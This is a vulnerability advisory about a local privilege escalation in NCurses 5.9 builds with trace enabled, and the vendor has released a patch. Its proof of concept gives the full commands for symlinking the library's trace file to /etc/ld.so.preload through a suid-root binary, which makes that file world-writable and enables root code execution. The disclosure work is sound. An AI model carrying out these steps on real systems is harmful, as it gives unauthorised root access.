SSD Advisory – NCurses 5.9 Local Privilege Escalation
Vulnerability Summary
The following advisory describes an Local Privilege Escalation vulnerability in NCurses, version 5.9.
Credit
An independent security researcher Dawid Golunski (https://legalhackers.com/) has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor Responses
NCurses has released a patch to address the vulnerability.
Thomas Dickey has also added the following statement “I don’t know of any actual packages which have traces enabled by default”.
Vulnerability Details
When NCurses, downloaded from official mirror
And NCurses is compiled with trace option:
1 | [root@centos7 ncurses–6.0]# ./configure –help | grep -i trace –with-trace test: add trace() function to all models of ncurses |
It allows for NCURSES_TRACE environment variable as explained at:
1 | https://linux.die.net/man/3/ncurses |
When the environment variable is set , a program that makes use of NCurses library writes certain tracing information to ./trace file in the current directory.
The library Fails to check for an existence of a symlink and set appropriate umask settings.
This could be abused by attackers to exploit root suid binaries that make use of a vulnerable ncurses library to achieve privilege escalation.
Proof of Concept
For simplicity we can assign SUID root privileges on clear binary:
1 2 3 4 5 | chmod +s /bin/clear chown root:root /bin/clear [xxxxx@centos7 ~]$ ls –l /bin/clear –rwsr–xr–x. 1 root root 8792 May 14 16:53 /bin/clear |
Which uses NCurses:
1 2 3 4 5 | [xxxxx@centos7 ~]$ ldd /bin/clear linux–vdso.so.1 => (0x00007ffe335e4000) libncurses.so.5 => /lib/libncurses.so.5 (0x00007feecbb29000) libc.so.6 => /lib64/libc.so.6 (0x00007feecb768000) /lib64/ld–linux–x86–64.so.2 (0x00007feecbd92000) |
Although programs such as htop or ntop could be used as an alternative as these are often recommended to have root suid on their binaries.
1 2 3 4 5 6 7 8 9 10 11 12 13 | [xxxxx@centos7 ~]$ id uid=1000(xxxxx) gid=1000(xxxxx) [xxxxx@centos7 ~]$ umask 006 [xxxxx@centos7 ~]$ ln –s /etc/ld.so.preload trace [xxxxx@centos7 ~]$ ls –l trace lrwxrwxrwx. 1 xxxxx wheel 18 May 15 00:32 trace -> /etc/ld.so.preload [xxxxx@centos7 ~]$ pwd /home/xxxxx [xxxxx@centos7 ~]$ export NCURSES_TRACE=20; clear |
Ncurses will then write to the ‘trace‘ file and follow the symlink when clear (having root suid permissions) is run:
1 2 3 4 5 6 7 8 | getcwd(“/home/xxxxx”, 4084) = 12 stat(“/home/xxxxx/trace”, 0x7ffcb0635510) = –1 ENOENT (No such file or directory) access(“/home/xxxxx/trace”, W_OK) = –1 ENOENT (No such file or directory) access(“/home/xxxxx/”, R_OK|W_OK|X_OK) = 0 brk(0) = 0xac0000 brk(0xae1000) = 0xae1000 brk(0) = 0xae1000 open(“/home/xxxxx/trace”, O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3 |
As the result, the target file /etc/ldo.so.preload will be created:
1 2 3 4 5 6 7 | [xxxxx@centos7 ~]$ ls –l /etc/ld.so.preload ERROR: ld.so: object ‘TRACING’ from /etc/ld.so.preload cannot be preloaded: ignored. ERROR: ld.so: object ‘NCURSES’ from /etc/ld.so.preload cannot be preloaded: ignored. ERROR: ld.so: object ‘version’ from /etc/ld.so.preload cannot be preloaded: ignored. ERROR: ld.so: object ‘5.9.20110404’ from /etc/ld.so.preload cannot be preloaded: ignored. ERROR: ld.so: object ‘(tracelevel=0x14)’ from /etc/ld.so.preload cannot be preloaded: ignored. –rw–rw——. 1 root wheel 55 May 15 00:36 /etc/ld.so.preload |
If we repeat the test and run:
1 | umask 000 |
Before calling clear. Then the file will be created with world-writable permissions:
1 | –rw–rw–rw–. 1 root wheel 55 May 15 00:36 /etc/ld.so.preload |
This would let attacker add arbitrary system libraries and gain code execution with root privileges.